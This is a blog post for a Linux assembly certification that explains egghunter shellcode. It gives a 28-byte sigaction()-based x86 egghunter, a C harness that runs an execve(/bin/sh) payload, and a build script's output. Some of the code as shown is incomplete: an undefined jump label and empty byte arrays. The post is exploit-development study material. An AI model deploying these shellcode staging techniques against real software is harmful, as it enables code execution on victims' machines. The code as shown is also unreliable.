A walk outside the sandbox

Home Blog Cheat Sheets MacOS Tips Area 51 About

[SLAE 3] Egghunter Shellcode



Creating an egghunter shellcode

For the third assignment of the SLAE course I’ve studied different egghunter payloads. The starting reference paper for this is skape’s Safely Searching Process Virtual Address Space.

I’ve implemented the 3 methods described in the paper:

  • access() - Small and robust egghunter using access() system call to check validity of addresses.
    • Cons: size is 39 bytes and the egg needs to be executable because after finding it, the execution jump before the egg and continues on.
  • access() revisited - smaller (35 bytes), minor speed improvements, egg does not need to be executable.
    • Cons: sets DF flag in case of failure (in very rare cases this could impact the running of the host application)
  • sigaction() - even smaller (30 bytes), robust and very fast (validates 16 bytes at a time).
    • Cons: some very rare odd failure situation described in detail in the paper.

For the purpose of this post, I’ll detail my slightly modified version of the sigaction() egghunter:

  • sigaction() reloaded - the smallest version (only 28 bytes). I’ve replaced the double check for the egg with only one check. To avoid finding the egg in the comparison from the shellcode, I’ve applied a small transform before searching for it (inc eax in this case, but could be any other 1 bytecode operation also - e.g. shifting bytes).
global _start   

section .text
    or cx,0xfff             ; page allignment
    inc ecx                 ; Pointer to region to be validated
    push byte +0x43         ; sigaction() syscall number
    pop eax                 ; Syscall number in eax
    int 0x80                ; Execut ethe syscall
    cmp al,0xf2             ; Compare with EFAULT
    jz short _start         ; Go to next page
    mov eax, <EGG>          ; The egg
    inc eax                 ; Egg modification. Avoid first find from above!
    mov edi,ecx             ; Prepare for comparison
    scasd                   ; Compare
    jnz short next_addr     ; Jump to next address
    jmp edi                 ; Jump to shellcode

To test it I’ve used the following C program simulating a real payload:

[  filler  ] [  egghunter  ] [  garbage  ] [  shellcode  ]
#include <stdio.h>
#include <string.h>
#define     EGG     "<EGG>"
unsigned char sled[] = "Some misc bytes here";
unsigned char egghunter[] = 
unsigned char garbage[] = "Garbage, mangled bytes, whatever";
// execve(/bin/sh,..) shellcode here 
unsigned char shellcode[] = EGG
// Function pointer
typedef int (*func_ptr)();
void main() {
    printf("Egghunter length: %d bytes\n", strlen(egghunter));
    printf("Shellcode Length:  %d bytes\n", strlen(shellcode));
    ((func_ptr) egghunter)();

The egg is configurable, and the compilation takes place from a wrapper script:

$ ./ 
Usage: {4 chars EGG mark}
 E.g.: W00T
$ ./ BUBU
  [*] Using egg  BUBU
  [*] (Modified) Egg hex:, 0x55425542
  [+] Replace egg with, BUBU
  [+] Assembling egghunter
  [+] Linking egghunter
  [*] Egghunter:
  [+] Compile shellcode tester
  [+] House cleaning
  [+] Done! run ./shellcode
$ ./shellcode
Egghunter length: 28 bytes
Shellcode Length:  29 bytes
$ whoami


The complete source files and scripts mentioned in this post can be found in my SLAE Git repository.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification